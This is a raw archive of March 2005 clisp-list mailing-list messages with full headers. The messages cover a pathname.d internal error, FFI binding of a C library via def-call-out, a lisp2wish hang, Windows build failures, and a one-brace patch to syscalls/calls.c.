en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20050322000506.79CD310FC26@thalassa.informatimago.com> X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_QUOTE BODY: Text interparsed with " 0.0 SF_CHICKENPOX_SEMICOLON BODY: Text interparsed with ; 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Internal error: statement in file "pathname.d", line 1082 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 21 16:04:17 2005 X-Original-Date: Tue, 22 Mar 2005 01:05:06 +0100 (CET) clisp-2.33.2 asked me to send this message. Break 1 DOMINGO[4]> (directory "PACKAGES:COM;INFORMATIMAGO;CL-LOADERS;*.*") (#P"/local/users/pjb/src/lisp/encours/domingo/common/cl-loaders/uffi.lisp" ;;... #P"/local/users/pjb/src/lisp/encours/domingo/common/cl-loaders/araneida.lisp") Break 1 DOMINGO[4]> (directory "PACKAGES:COM;INFORMATIMAGO;CL-LOADERS;*.*.") *** - Internal error: statement in file "pathname.d", line 1082 has been reached!! Please send the authors of the program a description how you produced this error! Break 2 DOMINGO[5]> :a Break 1 DOMINGO[4]> (logical-pathname-translations "PACKAGES") ((#P"PACKAGES:COM;INFORMATIMAGO;DOMINGO;*" "DOMINGO:SRC;*") (#P"PACKAGES:COM;INFORMATIMAGO;DOMINGO;*.*" "DOMINGO:SRC;*.*") (#P"PACKAGES:COM;INFORMATIMAGO;DOMINGO;*.*.*" "DOMINGO:SRC;*.*.*") (#P"PACKAGES:COM;INFORMATIMAGO;**;*" #P"/local/users/pjb/src/lisp/encours/domingo/common/**/*") (#P"PACKAGES:COM;INFORMATIMAGO;**;*.*" #P"/local/users/pjb/src/lisp/encours/domingo/common/**/*.*") (#P"PACKAGES:COM;INFORMATIMAGO;**;*.*.*" #P"/local/users/pjb/src/lisp/encours/domingo/common/**/*.*.*") (#P"PACKAGES:**;*" #P"/usr/local/share/lisp/packages/**/*") (#P"PACKAGES:**;*.*" #P"/usr/local/share/lisp/packages/**/*.*") (#P"PACKAGES:**;*.*.*" #P"/usr/local/share/lisp/packages/**/*.*.*")) Break 1 DOMINGO[4]> (PRINT-BUG-REPORT-INFO) LISP-IMPLEMENTATION-TYPE "CLISP" LISP-IMPLEMENTATION-VERSION "2.33.2 (2004-06-02) (built 3311798773) (memory 3311799118)" SOFTWARE-TYPE "ANSI C program" SOFTWARE-VERSION "GNU C 3.3 20030226 (prerelease) (SuSE Linux)" MACHINE-INSTANCE "thalassa.informatimago.com [62.93.174.79]" MACHINE-TYPE "I686" MACHINE-VERSION "I686" NIL Break 1 DOMINGO[4]> -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From ebiefeld@gmail.com Mon Mar 21 16:57:36 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DDXiC-000320-H7 for clisp-list@lists.sourceforge.net; Mon, 21 Mar 2005 16:57:36 -0800 Received: from rproxy.gmail.com ([64.233.170.196]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DDXiB-0002w6-3j for clisp-list@lists.sourceforge.net; Mon, 21 Mar 2005 16:57:36 -0800 Received: by rproxy.gmail.com with SMTP id f1so1307868rne for ; Mon, 21 Mar 2005 16:57:34 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=MEjmpWjpLNFk0GcNGbPlD6U3Lz0bSCAPp3sTYSs0aeyGkPE7CV7aEszYG2vvYXPSurkEJ8bnPMDy72TWlH3CJdfL7WJZzOiEEYzQU2hS8MES1svxwViL9aiHDYz67jeWIdIfD58dC356iecnSTQULaw1lcXlwRrNhBQ0r4Fr6OY= Received: by 10.38.102.12 with SMTP id z12mr5086732rnb; Mon, 21 Mar 2005 16:57:34 -0800 (PST) Received: by 10.38.161.68 with HTTP; Mon, 21 Mar 2005 16:57:34 -0800 (PST) Message-ID: From: Eric Biefeld Reply-To: ebiefeld@cmu.edu To: clisp Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.8 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.8 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 21 16:57:39 2005 X-Original-Date: Mon, 21 Mar 2005 19:57:34 -0500 I have C code which is used for comunications. It has four relavent functions. A_connect (string, int)-> bollean A_send (string)->boolean A_receive () _> string. Empty string if nothing is pending. A_disconnect () -> boolean . I can compile this code using gcc under cygwin (MS XP). How can I link this into a set of CLISP files which can be loaded to add this functionality? Detail example desired. The file name is A_COM.c I would prefer not building a new CLISP memory image. Thanks Eric Biefeld From kavenchuk@jenty.by Tue Mar 22 05:17:02 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DDjFg-0007KS-3d for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 05:16:56 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DDjFe-0001ad-G6 for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 05:16:56 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id GZHLGFBN; Tue, 22 Mar 2005 15:19:18 +0200 Message-ID: <42401AD3.3020109@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] problem with lisp2wish Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 22 05:18:12 2005 X-Original-Date: Tue, 22 Mar 2005 15:17:07 +0200 clisp from CVS head (build on mingw), win2k. ActiveTcl 8.4.9 lisp2wish (lisp2wish-2004-01-31.tgz from cliki) [3]> (wish::test-wish) Handshaking ... ok. Initializing ... done. Listening: Also hangs. Wish it is started, display a window with buttons and too hangs. Somebody knows in what the reason? -- WBR, Yaroslav Kavenchuk. From aneilbaboo@gmail.com Tue Mar 22 06:09:52 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DDk4u-0001TF-IK for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 06:09:52 -0800 Received: from wproxy.gmail.com ([64.233.184.204]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DDk4b-0006Gb-OU for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 06:09:52 -0800 Received: by wproxy.gmail.com with SMTP id 68so1583061wri for ; Tue, 22 Mar 2005 06:09:27 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=M+fhwRN0pYSQkKyPQH/qPEeipQKd68dw3RR/58w3Rf5MhLH7DsTMVGneTd3PxHrJHenkL5SlFPdpaHti3ZLnUewcabSfbYu7+osppQkYfyuvNPigDDa/XtNu1HiIDcZnbp4R3f70XJH0SzpgoyFUKOlOfXcc6FjikckZCaRCFIk= Received: by 10.54.7.38 with SMTP id 38mr2377881wrg; Tue, 22 Mar 2005 06:09:27 -0800 (PST) Received: by 10.54.52.8 with HTTP; Tue, 22 Mar 2005 06:09:27 -0800 (PST) Message-ID: From: Aneil Mallavarapu Reply-To: Aneil Mallavarapu To: clisp-list@lists.sourceforge.net, Aneil Mallavarapu In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: metaclass hash bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 22 06:10:00 2005 X-Original-Date: Tue, 22 Mar 2005 09:09:27 -0500 Hi Sam, I tried your build suggestion. I got a fresh copy of the head from CVS, and ran: Aneil@SYMBOLIC /cygdrive/c/code/clisp $ ./configure --build build1 > configurelog.txt At first, configure seemed to be succeeding, but after several screens of non-error log messages, I receive many screenfuls of the following (which I've greatly abbreviated). )) && ((!defined(WIDE_SOFT) || defined(CONS_HEAP_GROWS_DOWN)) && !defined(CONS_H ) && (defined(SPVW_BLOCKS) && defined(SPVW_PURE) /* e.g. UNIX_LINUX, Linux 0.99. )) && ((__GNUC__ >= 3)ESETSPitsize)!defined(WIN32_NATIVE)MORY)4, SUN3860_800 don't match. )) && ((!defined(WIDE_SOFT) || defined(CONS_HEAP_GROWS_DOWN)) && !defined(CONS_H ) && (defined(SPVW_BLOCKS) && defined(SPVW_PURE) /* e.g. UNIX_LINUX, Linux 0.99. )) && ((__GNUC__ >= 3)ESETSPitsize)!defined(WIN32_NATIVE)MORY)4, SUN3860_800 )) && ((!defined(WIDE_SOFT) || defined(CONS_HEAP_GROWS_DOWN)) && !defined(CONS_H ) && (defined(SPVW_BLOCKS) && defined(SPVW_PURE) /* e.g. UNIX_LINUX, Linux 0.99. ))&& (defined(MAP_MEMORY_TABLESize)!defined(WIN32_NATIVE)MORY)4, SUN3860_800 don't match. )) && ((!defined(WIDE_SOFT) || defined(CONS_HEAP_GROWS_DOWN)) && !defined(CONS_H ) && (defined(SPVW_BLOCKS) && defined(SPVW_PURE) /* e.g. UNIX_LINUX, Linux 0.99. ))&& (defined(MAP_MEMORY_TABLES && NIL_IS_CONSTANTNATIVE)MORY)4, SUN3860_800 )) && ((!defined(WIDE_SOFT) || defined(CONS_HEAP_GROWS_DOWN)) && !defined(CONS_H ) && (defined(SPVW_BLOCKS) && defined(SPVW_PURE) /* e.g. UNIX_LINUX, Linux 0.99. )) && (!defined(TYPECODESTABLES && NIL_IS_CONSTANTNATIVE)MORY)4, SUN3860_800 don't match. ... This goes on for a while, then, towards the end: ... spvw.d:1793: error: structure has no member named `tfl' spvw.d:1804: error: structure has no member named `tfl' spvw.d:1810: error: structure has no member named `tfl' spvw.d: In function `init_object_tab': spvw.d:1878: error: structure has no member named `tfl' spvw.d:1916: warning: implicit declaration of function `init_cclosures' spvw.d: In function `initmem': spvw.d:1953: warning: implicit declaration of function `init_symbol_values' spvw.d: In function `parse_options': spvw.d:2538: error: `docstring' undeclared (first use in this function) spvw.d:2538: error: `limit_low' undeclared (first use in this function) spvw.d:2538: error: `limit_high' undeclared (first use in this function) spvw.d:2554: error: `sizevar' undeclared (first use in this function) spvw.d:2556: error: parse error before "case" spvw.d: In function `init_memory': spvw.d:3516: error: `markwatchset' undeclared (first use in this function) spvw.d:3516: error: `markwatchset_allocated' undeclared (first use in this funct ion) spvw.d:3516: error: `markwatchset_size' undeclared (first use in this function) spvw.d: In function `main_actions': spvw.d:3653: error: structure has no member named `tfl' spvw.d:3908: error: parse error before "else" spvw.d:3913: error: parse error before "driver" spvw.d: In function `main': spvw.d:3965: error: void value not ignored as it ought to be In file included from spvw.d:4190: spvw_memfile.d:211: warning: static declaration for `savemem' follows non-static spvw_memfile.d: In function `savemem': spvw_memfile.d:226: error: structure has no member named `tfl' spvw_memfile.d:226: error: structure has no member named `tfl' spvw_memfile.d:226: error: structure has no member named `tfl' In file included from spvw.d:4190: spvw_memfile.d:1585:1: unterminated argument list invoking macro "for_all_consts yms" spvw.d: In function `loadmem_from_handle': spvw.d:4199: error: `for_all_constsyms' undeclared (first use in this function) spvw.d:4199: error: parse error before "void" spvw.d:4267: error: `ret' undeclared (first use in this function) spvw.d:4267: error: `name' undeclared (first use in this function) spvw.d:4267: warning: passing arg 1 of `dlsym' makes pointer from integer withou t a cast spvw.d:4269: warning: `return' with a value, in function returning void spvw.d:4270: error: parse error at end of input make: *** [spvw.o] Error 1 Aneil@SYMBOLIC /cygdrive/c/code/clisp $ The last entry in configurelog.txt before the errors start is: ln -s ../src/uninames.h uninames.h ./comment5 spvw.d | ./gctrigger | ./varbrace > spvw.c ./comment5 spvwtabf.d | ./gctrigger | ./varbrace > spvwtabf.c ./comment5 spvwtabs.d | ./gctrigger | ./varbrace > spvwtabs.c ./comment5 spvwtabo.d | ./gctrigger | ./varbrace > spvwtabo.c ./comment5 eval.d | ./gctrigger | ./varbrace > eval.c ./comment5 control.d | ./gctrigger | ./varbrace > control.c ./comment5 encoding.d | ./gctrigger | ./varbrace > encoding.c ./comment5 pathname.d | ./gctrigger | ./varbrace > pathname.c ./comment5 stream.d | ./gctrigger | ./varbrace > stream.c ./comment5 socket.d | ./gctrigger | ./varbrace > socket.c ./comment5 io.d | ./gctrigger | ./varbrace > io.c ./comment5 array.d | ./gctrigger | ./varbrace > array.c ./comment5 hashtabl.d | ./gctrigger | ./varbrace > hashtabl.c ./comment5 list.d | ./gctrigger | ./varbrace > list.c ./comment5 package.d | ./gctrigger | ./varbrace > package.c ./comment5 record.d | ./gctrigger | ./varbrace > record.c Aneil On Thu, 17 Mar 2005 09:26:43 -0500, Sam Steingold wrote: > > * Aneil Mallavarapu [2005-03-17 08:30:17 -0500]: > > > > any suggestions? > > read src/NEWS > > > i can get ./configure to work, but > > ./configure --with-mingw --with-module=regexp > > --with-module=syscalls --build build-mingw > > no need for --with-module=syscalls and --with-module=regexp > (see src/NEWS) > > > ./configure --with-dynamic-calls=yes --with-mingw --build build-mingw > > what is --with-dynamic-calls=yes? > > > all fail after several pages of "checking _____/ config.status / > > executing ___" outputs. I see several lines of containing errors like > > "no opening delimiter", labels used but not defined, and warnings > > "assignment from incompatible pointer type". Finally it reports > > "confused by earlier errors, bailing out". > > I have never seen this error. > could you please cut & paste? > (as per > and ) > > > I found that the make step fails with a long list of similar warnings > > & errors, finally bailing out with: > > ... > > spvw_debug.d: In function `object_out': > > spvw_debug.d:31: warning: value computed is not used > > spvw_debug.d:32: warning: value computed is not used > > these are warnings (although quite unusual ones). > > > make: *** [spvw.o] Error 1 > > so what was the error? > > > Can anyone suggest a good build recipe? > > ./configure ... --build build-`uname` > works for me. > > > .... or better yet, will a release be available soon? > > yes, as soon as it is ready > (do not hold your breath - this is the status since last fall, see > src/TODO and contribute). > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > A year spent in artificial intelligence is enough to make one believe in God. > From kavenchuk@jenty.by Tue Mar 22 06:19:44 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DDkEP-00021R-32 for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 06:19:41 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DDkE5-00077X-5I for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 06:19:41 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id GZHLGFFH; Tue, 22 Mar 2005 16:22:05 +0200 Message-ID: <4240298C.8010502@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] problem with lisp2wish Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 22 06:20:15 2005 X-Original-Date: Tue, 22 Mar 2005 16:19:56 +0200 clisp from CVS head (build on mingw), win2k. ActiveTcl 8.4.9 lisp2wish (lisp2wish-2004-01-31.tgz from cliki) [3]> (wish::test-wish) Handshaking ... ok. Initializing ... done. Listening: Also hangs. Wish it is started, display a window with buttons and too hangs. Somebody knows in what the reason? -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Tue Mar 22 07:07:54 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DDkz4-0004ft-9l for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 07:07:54 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DDkyl-0003Xh-KC for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 07:07:54 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j2MF5JYJ015819; Tue, 22 Mar 2005 10:05:36 -0500 (EST) To: clisp-list@lists.sourceforge.net, Aneil Mallavarapu Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Aneil Mallavarapu's message of "Tue, 22 Mar 2005 09:09:27 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Aneil Mallavarapu Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: metaclass hash bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 22 07:08:05 2005 X-Original-Date: Tue, 22 Mar 2005 10:06:43 -0500 > * Aneil Mallavarapu [2005-03-22 09:09:27 -0500]: > > Aneil@SYMBOLIC /cygdrive/c/code/clisp > $ ./configure --build build1 > configurelog.txt > > At first, configure seemed to be succeeding, but after several screens > of non-error log messages, I receive many screenfuls of the following > (which I've greatly abbreviated). )) && ((!defined(WIDE_SOFT) || > defined(CONS_HEAP_GROWS_DOWN)) && !defined(CONS_H ) && > (defined(SPVW_BLOCKS) && defined(SPVW_PURE) /* e.g. UNIX_LINUX, Linux > 0.99. )) && ((__GNUC__ >= > 3)ESETSPitsize)!defined(WIN32_NATIVE)MORY)4, SUN3860_800 don't match. > )) && ((!defined(WIDE_SOFT) || defined(CONS_HEAP_GROWS_DOWN)) && > !defined(CONS_H ) && (defined(SPVW_BLOCKS) && defined(SPVW_PURE) /* > e.g. UNIX_LINUX, Linux 0.99. )) && ((__GNUC__ >= > 3)ESETSPitsize)!defined(WIN32_NATIVE)MORY)4, SUN3860_800 )) && > ((!defined(WIDE_SOFT) || defined(CONS_HEAP_GROWS_DOWN)) && > !defined(CONS_H ) && (defined(SPVW_BLOCKS) && defined(SPVW_PURE) /* > e.g. UNIX_LINUX, Linux 0.99. ))&& > (defined(MAP_MEMORY_TABLESize)!defined(WIN32_NATIVE)MORY)4, > SUN3860_800 don't match. )) && ((!defined(WIDE_SOFT) || > defined(CONS_HEAP_GROWS_DOWN)) && !defined(CONS_H ) && > (defined(SPVW_BLOCKS) && defined(SPVW_PURE) /* e.g. UNIX_LINUX, Linux > 0.99. ))&& (defined(MAP_MEMORY_TABLES && > NIL_IS_CONSTANTNATIVE)MORY)4, SUN3860_800 )) && ((!defined(WIDE_SOFT) > || defined(CONS_HEAP_GROWS_DOWN)) && !defined(CONS_H ) && > (defined(SPVW_BLOCKS) && defined(SPVW_PURE) /* e.g. UNIX_LINUX, Linux > 0.99. )) && (!defined(TYPECODESTABLES && > NIL_IS_CONSTANTNATIVE)MORY)4, SUN3860_800 don't match. ... This goes > on for a while, then, towards the end: ... I have never seen anything like this. the error must be before that. could you please do $ uname -a > log $ ./configure --build build 2>&1 >> log and post the URL of log here? thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k MS Windows vs IBM OS/2: Why marketing matters more than technology... From e@flavors.com Tue Mar 22 08:47:02 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DDmWz-0001mZ-L7 for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 08:47:01 -0800 Received: from smtp.drrizzick.com ([208.252.48.26] helo=mail.drrizzick.com) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1DDmWy-0007GT-5K for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 08:47:01 -0800 Received: from DAWNE by mail.drrizzick.com (DrRizzick Mail Server V1.x.x) with SMTP id DSA74586 for ; Tue, 22 Mar 2005 11:46:53 -0500 From: Doug Currie X-Mailer: The Bat! (v2.11.02) Business Reply-To: Doug Currie X-Priority: 3 (Normal) Message-ID: <1579894940.20050322114651@flavors.com> To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] extra brace in modules/syscalls/calls.c Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 22 08:47:25 2005 X-Original-Date: Tue, 22 Mar 2005 11:46:51 -0500 There seems to be an extra closing brace in modules/syscalls/calls.c that causes build failure... *** - "calls.c":1922: DEFUN must be at the top level (depth -1): "DEFUN(POSIX::FILE-INFO, file)" make[1]: *** [calls.m.c] Error 1 make: *** [syscalls] Error 2 removing the brace fixes it for me... $ diff -u modules/syscalls/calls~.c modules/syscalls/calls.c --- modules/syscalls/calls~.c Mon Mar 21 23:12:37 2005 +++ modules/syscalls/calls.c Tue Mar 22 11:21:31 2005 @@ -1903,7 +1903,7 @@ new_handle = handle_dup(old_handle,new_handle); end_system_call(); VALUES1(fixnum(new_handle)); -}} +} #if defined(WIN32_NATIVE) || defined(UNIX_CYGWIN32) #include e From ortmage@gmx.net Tue Mar 22 09:58:21 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DDne1-0005e8-58 for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 09:58:21 -0800 Received: from imap.gmx.net ([213.165.64.20] helo=mail.gmx.net) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1DDne0-0004R2-8q for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 09:58:21 -0800 Received: (qmail invoked by alias); 22 Mar 2005 17:58:11 -0000 Received: from host209.lpbroadband.net (EHLO [192.168.0.113]) [66.54.206.209] by mail.gmx.net (mp014) with SMTP; 22 Mar 2005 18:58:11 +0100 X-Authenticated: #9558537 Message-ID: <42405C9A.705@gmx.net> From: Scott Williams User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050110 X-Accept-Language: en-us, en MIME-Version: 1.0 To: ebiefeld@cmu.edu CC: clisp Subject: Re: [clisp-list] FFI References: In-Reply-To: X-Enigmail-Version: 0.89.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Y-GMX-Trusted: 0 X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 22 09:58:43 2005 X-Original-Date: Tue, 22 Mar 2005 10:57:46 -0700 Hi Eric, http://clisp.sourceforge.net/impnotes/dffi.html If you want to avoid rebuilding a lisp image, you need to produce a dynamic library from A_COM.c, call it A_COM.dll. Make sure its in the same directory as the following file: ----[ a-lisp.lisp ] ------ (use-package :ffi) (default-foreign-language :stdc) (def-call-out A_connect (:library "A_COM.dll") (:arguments (str c-string) (num uint32)) (:return-type boolean)) (def-call-out A_send (:library "A_COM.dll") (:arguments (str c-string)) (:return-type boolean)) (def-call-out A_receive (:library "A_COM.dll") (:return-type c-string)) (def-call-out A_disconnect (:library "A_COM.dll") (:return-type boolean)) Load this file. It should produce A_* functions that can be called from lisp. Btw, what sort of "communicating" are you doing? If you have dynamic linking errors (eg clisp can't find A_COM.dll) I hope someone on the list with more windows experience will help out. The above works for me in Linux. -- Scott Eric Biefeld wrote: >I have C code which is used for comunications. It has four relavent functions. > >A_connect (string, int)-> bollean > >A_send (string)->boolean > >A_receive () _> string. Empty string if nothing is pending. > >A_disconnect () 